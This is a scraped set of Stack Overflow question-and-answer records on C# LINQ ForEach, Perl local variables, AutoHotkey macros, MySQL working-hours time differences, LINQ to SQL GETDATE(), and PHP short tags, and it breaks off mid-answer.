different, the end result is exactly what you're looking for.</p>\n" }, { "answer_id": 25777096, "author": "Scott Nimrod", "author_id": 492701, "author_profile": "https://Stackoverflow.com/users/492701", "pm_score": 2, "selected": false, "text": "<p>Inspired by Jon Skeet, I have extended his solution with the following:</p>\n\n<p><strong>Extension Method:</strong></p>\n\n<pre><code>public static void Execute&lt;TSource, TKey&gt;(this IEnumerable&lt;TSource&gt; source, Action&lt;TKey&gt; applyBehavior, Func&lt;TSource, TKey&gt; keySelector)\n{\n foreach (var item in source)\n {\n var target = keySelector(item);\n applyBehavior(target);\n }\n}\n</code></pre>\n\n<p><strong>Client:</strong></p>\n\n<pre><code>var jobs = new List&lt;Job&gt;() \n { \n new Job { Id = \"XAML Developer\" }, \n new Job { Id = \"Assassin\" }, \n new Job { Id = \"Narco Trafficker\" }\n };\n\njobs.Execute(ApplyFilter, j =&gt; j.Id);\n</code></pre>\n\n<p>.\n.\n.</p>\n\n<pre><code> public void ApplyFilter(string filterId)\n {\n Debug.WriteLine(filterId);\n }\n</code></pre>\n" }, { "answer_id": 28683827, "author": "Rm558", "author_id": 2055187, "author_profile": "https://Stackoverflow.com/users/2055187", "pm_score": 2, "selected": false, "text": "<p>ForEach can also be <strong>Chained</strong>, just put back to the pileline after the action. <strong>remain fluent</strong></p>\n\n<hr>\n\n<pre><code>Employees.ForEach(e=&gt;e.Act_A)\n .ForEach(e=&gt;e.Act_B)\n .ForEach(e=&gt;e.Act_C);\n\nOrders //just for demo\n .ForEach(o=&gt; o.EmailBuyer() )\n .ForEach(o=&gt; o.ProcessBilling() )\n .ForEach(o=&gt; o.ProcessShipping());\n\n\n//conditional\nEmployees\n .ForEach(e=&gt; { if(e.Salary&lt;1000) e.Raise(0.10);})\n .ForEach(e=&gt; { if(e.Age &gt;70 ) e.Retire();});\n</code></pre>\n\n<hr>\n\n<p>An <strong>Eager</strong> version of implementation.</p>\n\n<pre><code>public static IEnumerable&lt;T&gt; ForEach&lt;T&gt;(this IEnumerable&lt;T&gt; enu, Action&lt;T&gt; action)\n{\n foreach (T item in enu) action(item);\n return enu; // make action Chainable/Fluent\n}\n</code></pre>\n\n<p><strong>Edit:</strong> a <strong>Lazy</strong> version is using yield return, like <a href=\"https://stackoverflow.com/a/31750549/2055187\">this</a>.</p>\n\n<pre><code>public static IEnumerable&lt;T&gt; ForEachLazy&lt;T&gt;(this IEnumerable&lt;T&gt; enu, Action&lt;T&gt; action)\n{\n foreach (var item in enu)\n {\n action(item);\n yield return item;\n }\n}\n</code></pre>\n\n<p>The Lazy version <strong>NEEDs</strong> to be materialized, ToList() for example, otherwise, nothing happens. see below great comments from ToolmakerSteve.</p>\n\n<pre><code>IQueryable&lt;Product&gt; query = Products.Where(...);\nquery.ForEachLazy(t =&gt; t.Price = t.Price + 1.00)\n .ToList(); //without this line, below SubmitChanges() does nothing.\nSubmitChanges();\n</code></pre>\n\n<p>I keep both ForEach() and ForEachLazy() in my library.</p>\n" }, { "answer_id": 31750549, "author": "regisbsb", "author_id": 434919, "author_profile": "https://Stackoverflow.com/users/434919", "pm_score": 4, "selected": false, "text": "<p>If you want to act as the enumeration rolls you should <strong>yield</strong> each item.</p>\n\n<pre><code>public static class EnumerableExtensions\n{\n public static IEnumerable&lt;T&gt; ForEach&lt;T&gt;(this IEnumerable&lt;T&gt; enumeration, Action&lt;T&gt; action)\n {\n foreach (var item in enumeration)\n {\n action(item);\n yield return item;\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 33323514, "author": "Wolf5", "author_id": 37643, "author_profile": "https://Stackoverflow.com/users/37643", "pm_score": 3, "selected": false, "text": "<p>According to PLINQ (available since .Net 4.0), you can do an</p>\n\n<pre><code>IEnumerable&lt;T&gt;.AsParallel().ForAll() \n</code></pre>\n\n<p>to do a parallel foreach loop on an IEnumerable.</p>\n" }, { "answer_id": 52887330, "author": "solublefish", "author_id": 251199, "author_profile": "https://Stackoverflow.com/users/251199", "pm_score": 2, "selected": false, "text": "<p>MoreLinq has <code>IEnumerable&lt;T&gt;.ForEach</code> and a ton of other useful extensions. It's probably not worth taking the dependency just for <code>ForEach</code>, but there's a lot of useful stuff in there.</p>\n\n<p><a href=\"https://www.nuget.org/packages/morelinq/\" rel=\"nofollow noreferrer\">https://www.nuget.org/packages/morelinq/</a></p>\n\n<p><a href=\"https://github.com/morelinq/MoreLINQ\" rel=\"nofollow noreferrer\">https://github.com/morelinq/MoreLINQ</a></p>\n" }, { "answer_id": 54931308, "author": "CSDev", "author_id": 10958092, "author_profile": "https://Stackoverflow.com/users/10958092", "pm_score": 1, "selected": false, "text": "<p>To stay fluent one can use such a trick:</p>\n\n<pre><code>GetItems()\n .Select(i =&gt; new Action(i.DoStuf)))\n .Aggregate((a, b) =&gt; a + b)\n .Invoke();\n</code></pre>\n" }, { "answer_id": 62663221, "author": "l33t", "author_id": 419761, "author_profile": "https://Stackoverflow.com/users/419761", "pm_score": 4, "selected": false, "text": "<p>So many answers, yet ALL fail to pinpoint one very significant problem with a custom <em>generic</em> <code>ForEach</code> extension: <strong>Performance!</strong> And more specifically, <strong>memory usage</strong> and <strong>GC</strong>.</p>\n<p>Consider the sample below. Targeting <code>.NET Framework 4.7.2</code> or <code>.NET Core 3.1.401</code>, configuration is <code>Release</code> and platform is <code>Any CPU</code>.</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public static class Enumerables\n{\n public static void ForEach&lt;T&gt;(this IEnumerable&lt;T&gt; @this, Action&lt;T&gt; action)\n {\n foreach (T item in @this)\n {\n action(item);\n }\n }\n}\n\nclass Program\n{\n private static void NoOp(int value) {}\n\n static void Main(string[] args)\n {\n var list = Enumerable.Range(0, 10).ToList();\n for (int i = 0; i &lt; 1000000; i++)\n {\n // WithLinq(list);\n // WithoutLinqNoGood(list);\n WithoutLinq(list);\n }\n }\n\n private static void WithoutLinq(List&lt;int&gt; list)\n {\n foreach (var item in list)\n {\n NoOp(item);\n }\n }\n\n private static void WithLinq(IEnumerable&lt;int&gt; list) =&gt; list.ForEach(NoOp);\n\n private static void WithoutLinqNoGood(IEnumerable&lt;int&gt; enumerable)\n {\n foreach (var item in enumerable)\n {\n NoOp(item);\n }\n }\n}\n</code></pre>\n<p>At a first glance, all three variants should perform equally well. However, when the <code>ForEach</code> extension method is called many, <em>many</em> times, you will end up with garbage that implies a costly GC. In fact, having this <code>ForEach</code> extension method on a hot path has been proven to totally kill performance in our loop-intensive application.</p>\n<p>Similarly, the weakly typed <code>foreach</code> loop will also produce garbage, but it will still be faster and less memory-intensive than the <code>ForEach</code> extension (which also suffers from a <a href=\"https://devblogs.microsoft.com/pfxteam/know-thine-implicit-allocations/\" rel=\"noreferrer\">delegate allocation</a>).</p>\n<h2>Strongly typed foreach: Memory usage</h2>\n<p><a href=\"https://i.stack.imgur.com/OanUT.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/OanUT.png\" alt=\"No allocations. No GC\" /></a></p>\n<h2>Weakly typed foreach: Memory usage</h2>\n<p><a href=\"https://i.stack.imgur.com/7lyz0.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/7lyz0.png\" alt=\"enter image description here\" /></a></p>\n<h2>ForEach extension: Memory usage</h2>\n<p><a href=\"https://i.stack.imgur.com/OUwSP.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/OUwSP.png\" alt=\"Lots of allocations. Heavy GC.\" /></a></p>\n<h2>Analysis</h2>\n<p>For a strongly typed <code>foreach</code> the compiler is able to use any optimized enumerator (e.g. value based) of a class, whereas a generic <code>ForEach</code> extension must fall back to a generic enumerator which will be allocated on each run. Furthermore, the actual delegate will also imply an additional allocation.</p>\n<p>You would get similar bad results with the <code>WithoutLinqNoGood</code> method. There, the argument is of type <code>IEnumerable&lt;int&gt;</code> instead of <code>List&lt;int&gt;</code> implying the same type of enumerator allocation.</p>\n<p>Below are the relevant differences in <code>IL</code>. A value based enumerator is certainly preferable!</p>\n<pre><code>IL_0001: callvirt instance class\n [mscorlib]System.Collections.Generic.IEnumerator`1&lt;!0&gt; \n class [mscorlib]System.Collections.Generic.IEnumerable`1&lt;!!T&gt;::GetEnumerator()\n</code></pre>\n<p><strong>vs</strong></p>\n<pre><code>IL_0001: callvirt instance valuetype\n [mscorlib]System.Collections.Generic.List`1/Enumerator&lt;!0&gt;\n class [mscorlib]System.Collections.Generic.List`1&lt;int32&gt;::GetEnumerator()\n</code></pre>\n<h2>Conclusion</h2>\n<p>The OP asked how to call <code>ForEach()</code> on an <code>IEnumerable&lt;T&gt;</code>. The original answer clearly shows how it <em>can</em> be done. Sure you can do it, but then again; my answer clearly shows that you shouldn't.</p>\n<p>Verified the same behavior when targeting <code>.NET Core 3.1.401</code> (compiling with <code>Visual Studio 16.7.2</code>).</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200574", "https://Stackoverflow.com", "https://Stackoverflow.com/users/192/" ]
I'd like to do the equivalent of the following in LINQ, but I can't figure out how: ``` IEnumerable<Item> items = GetItems(); items.ForEach(i => i.DoStuff()); ``` What is the real syntax?
There is no ForEach extension for `IEnumerable`; only for `List<T>`. So you could do ``` items.ToList().ForEach(i => i.DoStuff()); ``` Alternatively, write your own ForEach extension method: ``` public static void ForEach<T>(this IEnumerable<T> enumeration, Action<T> action) { foreach(T item in enumeration) { action(item); } } ```
200,578
<p>I have some auto-generated code which effectively writes out the following in a bunch of different places in some code:</p> <pre><code>no warnings 'uninitialized'; local %ENV = %ENV; local $/ = $/; local @INC = @INC; local %INC = %INC; local $_ = $_; local $| = $|; local %SIG = %SIG; use warnings 'uninitialized'; </code></pre> <p>When auto-generating code, some argue that it's not strictly necessary that the code be "beautiful", but I'd like to pull that out into a subroutine. However, that would localize those variables in that subroutine. Is there a way to localize those variables in the calling stack frame?</p> <p><strong>Update</strong>: In a similar vein, it would be nice to be able to run eval in a higher stack frame. I think Python already has this. It would be nice if Perl did, too.</p>
[ { "answer_id": 200603, "author": "Peter Kühne", "author_id": 27351, "author_profile": "https://Stackoverflow.com/users/27351", "pm_score": 2, "selected": false, "text": "<p>I'm not terribly familiar with Perl, so forgive me if it is actually possible. But normally, variables local to a stack frame are only available within that stack frame. You can't access them from either a higher or lower one (unless you do some hacky pointer arithmetic but that's never guaranteed to succeed).\nLarge blocks of variable declarations are unfortunately something you will have to live with. </p>\n\n<p>QuantumPete</p>\n" }, { "answer_id": 200797, "author": "Hugh Allen", "author_id": 15069, "author_profile": "https://Stackoverflow.com/users/15069", "pm_score": 1, "selected": false, "text": "<p>In TCL you can use <a href=\"http://en.wikipedia.org/wiki/Uplevel\" rel=\"nofollow noreferrer\">uplevel</a>. As for Perl, I don't know.</p>\n" }, { "answer_id": 200944, "author": "Adam Bellaire", "author_id": 21632, "author_profile": "https://Stackoverflow.com/users/21632", "pm_score": 3, "selected": false, "text": "<p>Not sure why QuantumPete is being downvoted, he seems to be right on this one. You can't tell <code>local</code> to initialize variables in the calling block. Its functionality is special, and the initialization/teardown that it does only works on the block where it was run. </p>\n\n<p>There are some experimental modules such as <a href=\"http://search.cpan.org/dist/Sub-Uplevel/\" rel=\"nofollow noreferrer\">Sub::Uplevel</a> and <a href=\"http://search.cpan.org/dist/Devel-RunBlock/lib/Devel/RunBlock.pm\" rel=\"nofollow noreferrer\">Devel::RunBlock</a> which allow you to attempt to \"fool\" <code>caller()</code> for subroutines or do a 'long jump return' of values to higher stack frames (respectively), but neither of these do anything to affect how <code>local</code> treats variables (I tried. :)</p>\n\n<p>So for now, it does indeed look like you will have to live with the local declarations in the scope where you need them.</p>\n" }, { "answer_id": 201243, "author": "hexten", "author_id": 10032, "author_profile": "https://Stackoverflow.com/users/10032", "pm_score": 6, "selected": true, "text": "<p>Perhaps you can arrange for the code that uses those locals to be generated as a closure? Then you could</p>\n\n<pre><code>sub run_with_env {\n my ($sub, @args) = @_;\n no warnings 'uninitialized';\n local %ENV = %ENV;\n local $/ = $/;\n local @INC = @INC;\n local %INC = %INC;\n local $_ = $_;\n local $| = $|;\n local %SIG = %SIG;\n use warnings 'uninitialized'; \n $sub-&gt;(@args);\n}\n\nrun_with_env(sub {\n # do stuff here\n});\n\nrun_with_env(sub {\n # do different stuff here\n});\n</code></pre>\n" }, { "answer_id": 203474, "author": "Peter Scott", "author_id": 28086, "author_profile": "https://Stackoverflow.com/users/28086", "pm_score": 2, "selected": false, "text": "<p>perldoc perlguts says:</p>\n\n<pre><code> The \"Alias\" module implements localization of the basic types within\n the caller's scope. People who are interested in how to localize\n things in the containing scope should take a look there too.\n</code></pre>\n\n<p>FWIW. I haven't looked at Alias.pm closely enough to see how easy this might be.</p>\n" }, { "answer_id": 214003, "author": "JDrago", "author_id": 29060, "author_profile": "https://Stackoverflow.com/users/29060", "pm_score": 0, "selected": false, "text": "<p>Perl has <a href=\"http://search.cpan.org/dist/Sub-Uplevel/lib/Sub/Uplevel.pm\" rel=\"nofollow noreferrer\">Sub::Uplevel</a></p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200578", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8003/" ]
I have some auto-generated code which effectively writes out the following in a bunch of different places in some code: ``` no warnings 'uninitialized'; local %ENV = %ENV; local $/ = $/; local @INC = @INC; local %INC = %INC; local $_ = $_; local $| = $|; local %SIG = %SIG; use warnings 'uninitialized'; ``` When auto-generating code, some argue that it's not strictly necessary that the code be "beautiful", but I'd like to pull that out into a subroutine. However, that would localize those variables in that subroutine. Is there a way to localize those variables in the calling stack frame? **Update**: In a similar vein, it would be nice to be able to run eval in a higher stack frame. I think Python already has this. It would be nice if Perl did, too.
Perhaps you can arrange for the code that uses those locals to be generated as a closure? Then you could ``` sub run_with_env { my ($sub, @args) = @_; no warnings 'uninitialized'; local %ENV = %ENV; local $/ = $/; local @INC = @INC; local %INC = %INC; local $_ = $_; local $| = $|; local %SIG = %SIG; use warnings 'uninitialized'; $sub->(@args); } run_with_env(sub { # do stuff here }); run_with_env(sub { # do different stuff here }); ```
200,587
<p>I'm trying to set up <a href="http://www.autohotkey.com/" rel="nofollow noreferrer">AutoHotkey</a> macros for some common tasks, and I want the hotkeys to mimic Visual Studio's "two-step shortcut" behaviour - i.e. pressing <kbd>Ctrl</kbd>-<kbd>K</kbd> will enable "macro mode"; within macro mode, pressing certain keys will run a macro and then disable 'macro mode', and any other key will just disable macro mode.</p> <p>Example - when typing a filename, I want to be able to insert today's date by tapping <kbd>Ctrl</kbd>-<kbd>K</kbd>, then pressing <kbd>D</kbd>.</p> <p>Does anyone have a good example of a stateful AutoHotkey script that behaves like this?</p>
[ { "answer_id": 201981, "author": "Andres", "author_id": 1815, "author_profile": "https://Stackoverflow.com/users/1815", "pm_score": 4, "selected": true, "text": "<p>This Autohotkey script, when you press <kbd>ctrl</kbd>+<kbd>k</kbd>, will wait for you to press a key and if you press <kbd>d</kbd>, it will input the current date.</p>\n\n<pre><code>^k::\nInput Key, L1\nFormatTime, Time, , yyyy-MM-dd\nif Key = d\n Send %Time%\nreturn\n</code></pre>\n" }, { "answer_id": 204058, "author": "Dylan Beattie", "author_id": 5017, "author_profile": "https://Stackoverflow.com/users/5017", "pm_score": 3, "selected": false, "text": "<p>A slight variation on the accepted answer - this is what I've ended up using. I'm capturing Ctrl+LWin (left Windows key) so it doesn't conflict with VS inbuilt Ctrl-K shortcuts.</p>\n\n<pre><code>; Capture Ctrl+Left Windows Key\n^LWin::\n\n; Show traytip including shortcut keys\nTrayTip, Ctrl-Win pressed - waiting for second key..., t: current time`nd: current date, 1, 1\n\n; Capture next string input (i.e. next key)\nInput, Key, L1\n\n; Call TrayTip with no arguments to remove currently-visible traytip\nTrayTip\n\nif Key = d\n{\n FormatTime, Date, , yyyyMMdd\n SendInput %Date%\n} \nelse if Key = t \n{\n FormatTime, Time, , hhmmss\n SendInput %Time%\n} \nreturn\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200587", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5017/" ]
I'm trying to set up [AutoHotkey](http://www.autohotkey.com/) macros for some common tasks, and I want the hotkeys to mimic Visual Studio's "two-step shortcut" behaviour - i.e. pressing `Ctrl`-`K` will enable "macro mode"; within macro mode, pressing certain keys will run a macro and then disable 'macro mode', and any other key will just disable macro mode. Example - when typing a filename, I want to be able to insert today's date by tapping `Ctrl`-`K`, then pressing `D`. Does anyone have a good example of a stateful AutoHotkey script that behaves like this?
This Autohotkey script, when you press `ctrl`+`k`, will wait for you to press a key and if you press `d`, it will input the current date. ``` ^k:: Input Key, L1 FormatTime, Time, , yyyy-MM-dd if Key = d Send %Time% return ```
200,602
<p>What is the best way to count the time between two datetime values fetched from MySQL when I need to count only the time between hours 08:00:00-16:00:00.</p> <p>For example if I have values 2008-10-13 18:00:00 and 2008-10-14 10:00:00 the time difference should be 02:00:00.</p> <p>Can I do it with SQL or what is the best way to do it? I'm building a website and using PHP.</p> <p>Thank you for your answers.</p> <p>EDIT: The exact thing is that I'm trying to count the time a "ticket" has been in a specific state during working hours. The time could be like a couple weeks.</p> <p>EDIT2: I have no problems counting the actual time difference, but substracting that off-time, 00:00:00-08:00:00 and 16:00:00-00:00:00 per day.</p> <p>-Samuli</p>
[ { "answer_id": 200606, "author": "Chris S", "author_id": 21574, "author_profile": "https://Stackoverflow.com/users/21574", "pm_score": 3, "selected": false, "text": "<p>The <a href=\"http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_timediff\" rel=\"noreferrer\">TIMEDIFF</a> function</p>\n\n<blockquote>\n <p>TIMEDIFF() returns expr1 – expr2\n expressed as a time value. expr1 and\n expr2 are time or date-and-time\n expressions, but both must be of the\n same type.</p>\n</blockquote>\n\n<pre><code>mysql&gt; SELECT TIMEDIFF('2000:01:01 00:00:00',\n -&gt; '2000:01:01 00:00:00.000001');\n -&gt; '-00:00:00.000001'\nmysql&gt; SELECT TIMEDIFF('2008-12-31 23:59:59.000001',\n -&gt; '2008-12-30 01:01:01.000002');\n -&gt; '46:58:57.999999'\n</code></pre>\n" }, { "answer_id": 200612, "author": "Scott Cowan", "author_id": 253, "author_profile": "https://Stackoverflow.com/users/253", "pm_score": 0, "selected": false, "text": "<p>You may want to try it in PHP, but I'm thinking it'll be faster in DB</p>\n\n<p><a href=\"http://www.gidnetwork.com/b-16.html\" rel=\"nofollow noreferrer\">code to return difference in an array</a></p>\n" }, { "answer_id": 200620, "author": "Guido", "author_id": 12388, "author_profile": "https://Stackoverflow.com/users/12388", "pm_score": 1, "selected": false, "text": "<p>I think you should calculate the difference in your own code instead of using a more-complex SQL sentence because:</p>\n\n<ul>\n<li>That calculation seems to be part of your business logic. It seems easier to maintain if you integrate it with the rest of your business code.</li>\n<li>The database is often the bottleneck, so don't load it more than needed.</li>\n</ul>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200602", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
What is the best way to count the time between two datetime values fetched from MySQL when I need to count only the time between hours 08:00:00-16:00:00. For example if I have values 2008-10-13 18:00:00 and 2008-10-14 10:00:00 the time difference should be 02:00:00. Can I do it with SQL or what is the best way to do it? I'm building a website and using PHP. Thank you for your answers. EDIT: The exact thing is that I'm trying to count the time a "ticket" has been in a specific state during working hours. The time could be like a couple weeks. EDIT2: I have no problems counting the actual time difference, but substracting that off-time, 00:00:00-08:00:00 and 16:00:00-00:00:00 per day. -Samuli
The [TIMEDIFF](http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_timediff) function > > TIMEDIFF() returns expr1 – expr2 > expressed as a time value. expr1 and > expr2 are time or date-and-time > expressions, but both must be of the > same type. > > > ``` mysql> SELECT TIMEDIFF('2000:01:01 00:00:00', -> '2000:01:01 00:00:00.000001'); -> '-00:00:00.000001' mysql> SELECT TIMEDIFF('2008-12-31 23:59:59.000001', -> '2008-12-30 01:01:01.000002'); -> '46:58:57.999999' ```
200,617
<p>If I have a <code>Linq</code> to <code>SQL</code> expression like this:</p> <pre><code> from subscription in dbContext.Subscriptions where subscription.Expires &gt; DateTime.Now select subscription </code></pre> <p>I want this to to use the SQL Servers <code>GETDATE()</code> function instead of the time of the machine running the <code>C#</code> program.</p> <p>The next question would be how to translate this:</p> <pre><code>DateTime.Now.AddDays(2) </code></pre> <p>to this:</p> <pre><code>DATEADD(dd, 2, GETDATE()) </code></pre>
[ { "answer_id": 200639, "author": "Per Hornshøj-Schierbeck", "author_id": 11619, "author_profile": "https://Stackoverflow.com/users/11619", "pm_score": 0, "selected": false, "text": "<p>You could use the ExecuteQuery to gain full control of the sql <a href=\"http://weblogs.asp.net/scottgu/archive/2007/08/27/linq-to-sql-part-8-executing-custom-sql-expressions.aspx\" rel=\"nofollow noreferrer\">http://weblogs.asp.net/scottgu/archive/2007/08/27/linq-to-sql-part-8-executing-custom-sql-expressions.aspx</a> </p>\n\n<p>I know it seems like very little gain (or perhaps on the contrairy) over ADO.NET though.</p>\n" }, { "answer_id": 200961, "author": "Panos", "author_id": 8049, "author_profile": "https://Stackoverflow.com/users/8049", "pm_score": 3, "selected": false, "text": "<p>If you don't mind querying the database before every use, I would suggest the following workaround: Use ExecuteQuery in one place to get the date in the data context like this:</p>\n\n<pre><code>public partial class YourDataContext\n{\n public DateTime GetDate()\n {\n return ExecuteQuery&lt;DateTime&gt;(\"SELECT GETDATE()\").First();\n }\n}\n</code></pre>\n\n<p>and then you can write</p>\n\n<pre><code>from subscription in dbContext.Subscriptions\nwhere subscription &gt; dbContext.GetDate().AddDays(2)\nselect subscription\n</code></pre>\n" }, { "answer_id": 201063, "author": "liggett78", "author_id": 19762, "author_profile": "https://Stackoverflow.com/users/19762", "pm_score": 6, "selected": true, "text": "<p>Try <a href=\"http://peteohanlon.wordpress.com/2008/01/11/sql-server-getdate-and-linq-to-sql/\" rel=\"noreferrer\">this</a>:</p>\n\n<pre><code>[Function(Name=\"GetDate\", IsComposable=true)] \n public DateTime GetSystemDate() \n { \n MethodInfo mi = MethodBase.GetCurrentMethod() as MethodInfo; \n return (DateTime)this.ExecuteMethodCall(this, mi, new object[]{}).ReturnValue; \n }\n</code></pre>\n\n<p><strong>EDIT</strong>: this needs to be a part of your DataContext class.</p>\n\n<p>Now you can use GetSystemDate() instead of DateTime.Now in your queries.\nAs for date differences take a look at System.Data.Linq.SqlClient namespace, especially DayDiffXXX functions of SqlMethods class.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200617", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8547/" ]
If I have a `Linq` to `SQL` expression like this: ``` from subscription in dbContext.Subscriptions where subscription.Expires > DateTime.Now select subscription ``` I want this to to use the SQL Servers `GETDATE()` function instead of the time of the machine running the `C#` program. The next question would be how to translate this: ``` DateTime.Now.AddDays(2) ``` to this: ``` DATEADD(dd, 2, GETDATE()) ```
Try [this](http://peteohanlon.wordpress.com/2008/01/11/sql-server-getdate-and-linq-to-sql/): ``` [Function(Name="GetDate", IsComposable=true)] public DateTime GetSystemDate() { MethodInfo mi = MethodBase.GetCurrentMethod() as MethodInfo; return (DateTime)this.ExecuteMethodCall(this, mi, new object[]{}).ReturnValue; } ``` **EDIT**: this needs to be a part of your DataContext class. Now you can use GetSystemDate() instead of DateTime.Now in your queries. As for date differences take a look at System.Data.Linq.SqlClient namespace, especially DayDiffXXX functions of SqlMethods class.
200,640
<p>Here's the information <a href="http://www.php.net/manual/en/language.basic-syntax.php" rel="noreferrer">according to the official documentation</a>:</p> <blockquote> <p>There are four different pairs of opening and closing tags which can be used in PHP. Two of those, <code>&lt;?php ?&gt;</code> and <code>&lt;script language="php"&gt; &lt;/script&gt;</code>, are always available. The other two are short tags and ASP style tags, and can be turned on and off from the php.ini configuration file. As such, while some people find short tags and ASP style tags convenient, they are less portable, and <strong>generally not recommended</strong>.</p> </blockquote> <p>In my experience most servers <em>do</em> have short tags enabled. Typing</p> <pre><code>&lt;?= </code></pre> <p>is far more convenient than typing</p> <pre><code>&lt;?php echo </code></pre> <p>The programmers convenience is an important factor, so <strong>why</strong> are they not recommended?</p>
[ { "answer_id": 200649, "author": "Vinko Vrsalovic", "author_id": 5190, "author_profile": "https://Stackoverflow.com/users/5190", "pm_score": 5, "selected": false, "text": "<p>Because the confusion it can generate with XML declarations. Many people <a href=\"http://michaelkimsal.com/blog/php-short-tags/\" rel=\"noreferrer\">agree</a> <a href=\"http://bytes.com/forum/thread596.html\" rel=\"noreferrer\">with</a> you, though. </p>\n\n<p>An additional concern is the pain it'd generate to code everything with short tags only to find out at the end that the final hosting server has them turned off...</p>\n" }, { "answer_id": 200650, "author": "ConroyP", "author_id": 2287, "author_profile": "https://Stackoverflow.com/users/2287", "pm_score": 4, "selected": false, "text": "<ul>\n<li><p>Short tags are not turned on by default in some webservers (shared hosts, etc.), so <strong>code portability</strong> becomes an issue if you need to move to one of these.</p></li>\n<li><p><strong>Readability</strong> may be an issue for some. Many developers may find that <code>&lt;?php</code> catches the eye as a more obvious marker of the beginning of a code block than <code>&lt;?</code> when you scan a file, particularly if you're stuck with a code base with <a href=\"http://en.wikipedia.org/wiki/HTML\" rel=\"nofollow noreferrer\">HTML</a> and PHP tightly inter-woven.</p></li>\n</ul>\n" }, { "answer_id": 200666, "author": "Oli", "author_id": 12870, "author_profile": "https://Stackoverflow.com/users/12870", "pm_score": 10, "selected": true, "text": "<p>There must be a clear distinction between the PHP short tag (<code>&lt;?</code>) and shorthand echo tag (<code>&lt;?=</code>)</p>\n<p>The former is prohibited by the <a href=\"https://www.php-fig.org/psr/psr-1/\" rel=\"nofollow noreferrer\">PHP Coding standard</a>, mostly out of common sense because it's a PITA if you ever have to move your code to a server where it's not supported (and you can't enable it). As you say, lots of shared hosts <em>do</em> support shorttags but &quot;lots&quot; isn't all of them. If you want to share your scripts, it's best to use the full syntax.</p>\n<p>Whereas the shorthand echo tag <code>&lt;?=</code> cannot be disabled and therefore is fully acceptable to use.</p>\n<p>I agree that <code>&lt;?</code> is easier on programmers than <code>&lt;?php</code> but it is possible to do a bulk find-and-replace as long as you use the same form each time.</p>\n<p>I don't buy readability as a reason at all. Most serious developers have the option of syntax highlighting available to them.</p>\n<p>As ThiefMaster mentions in the comments, <strong><a href=\"https://www.php.net/ChangeLog-5.php#5.4.0\" rel=\"nofollow noreferrer\">as of PHP 5.4, <code>&lt;?= ... ?&gt;</code> tags are supported everywhere, regardless of shorttags settings</a></strong>. This should mean they're safe to use in portable code but that does mean there's then a dependency on PHP 5.4+. If you want to support pre-5.4 and can't guarantee shorttags, you'll still need to use <code>&lt;?php echo ... ?&gt;</code>.</p>\n<p>Also, you need to know that <strong><a href=\"https://www.php.net/manual/en/language.basic-syntax.phptags.php\" rel=\"nofollow noreferrer\">ASP tags &lt;% , %&gt; , &lt;%= , and script tag are removed from PHP 7</a></strong>. So if you would like to support long-term portable code and would like switching to the most modern tools consider changing that parts of code.</p>\n" }, { "answer_id": 203055, "author": "patricksweeney", "author_id": 24875, "author_profile": "https://Stackoverflow.com/users/24875", "pm_score": 2, "selected": false, "text": "<p>One situation that is a little different is when developing a <a href=\"http://en.wikipedia.org/wiki/Codeigniter#CodeIgniter\" rel=\"nofollow noreferrer\">CodeIgniter</a> application. CodeIgniter seems to use the shorttags whenever PHP is being used in a template/view, otherwise with models and controllers it always uses the long tags. It's not a hard and fast rule in the framework, but for the most part the framework and a lot of the source from other uses follows this convention.</p>\n\n<p>My two cents? If you never plan on running the code somewhere else, then use them if you want. I'd rather not have to do a massive search and replace when I realize it was a dumb idea.</p>\n" }, { "answer_id": 203181, "author": "Paolo Bergantino", "author_id": 16417, "author_profile": "https://Stackoverflow.com/users/16417", "pm_score": 7, "selected": false, "text": "<p>I'm too fond of <code>&lt;?=$whatever?&gt;</code> to let it go. Never had a problem with it. I'll wait until it bites me in the ass. In all seriousness, 85% of (my) clients have access to php.ini in the <strong>rare</strong> occasion they are turned off. The other 15% use mainstream hosting providers, and virtually all of them have them enabled. I love 'em.</p>\n" }, { "answer_id": 207113, "author": "coderGeek", "author_id": 28426, "author_profile": "https://Stackoverflow.com/users/28426", "pm_score": -1, "selected": false, "text": "<p>No, and they're <a href=\"http://www.slideshare.net/thinkphp/php-53-and-php-6-a-look-ahead/\" rel=\"nofollow noreferrer\">being phased out by PHP 6</a> so if you appreciate code longevity, simply don't use them or the <code>&lt;% ... %&gt;</code> tags.</p>\n" }, { "answer_id": 223572, "author": "Kornel", "author_id": 27009, "author_profile": "https://Stackoverflow.com/users/27009", "pm_score": 1, "selected": false, "text": "<p>If you care about <a href=\"http://en.wikipedia.org/wiki/Cross-site_scripting\" rel=\"nofollow noreferrer\">XSS</a> then you should use <code>&lt;?= htmlspecialchars(…) ?&gt;</code> most of the time, so a short tag doesn't make a big difference. </p>\n\n<p>Even if you shorten <code>echo htmlspecialchars()</code> to <code>h()</code>, it's still a problem that you have to remember to add it almost every time (and trying to keep track which data is pre-escaped, which is unescaped-but-harmless only makes mistakes more likely).</p>\n\n<p>I use <a href=\"http://phptal.org\" rel=\"nofollow noreferrer\">a templating engine</a> that is secure by default and writes <code>&lt;?php</code> tags for me.</p>\n" }, { "answer_id": 223619, "author": "Jake McGraw", "author_id": 302, "author_profile": "https://Stackoverflow.com/users/302", "pm_score": 5, "selected": false, "text": "<p>Short tags are coming back thanks to <a href=\"http://framework.zend.com/\" rel=\"noreferrer\">Zend Framework</a> pushing the \"<a href=\"http://framework.zend.com/manual/en/zend.view.html#zend.view.introduction.view\" rel=\"noreferrer\">PHP as a template language</a>\" in their <a href=\"http://framework.zend.com/manual/en/zend.controller.html#zend.controller.quickstart.go\" rel=\"noreferrer\">default MVC configuration</a>. I don't see what the debate is about, most of the software you will produce during your lifetime will operate on a server you or your company will control. As long as you keep 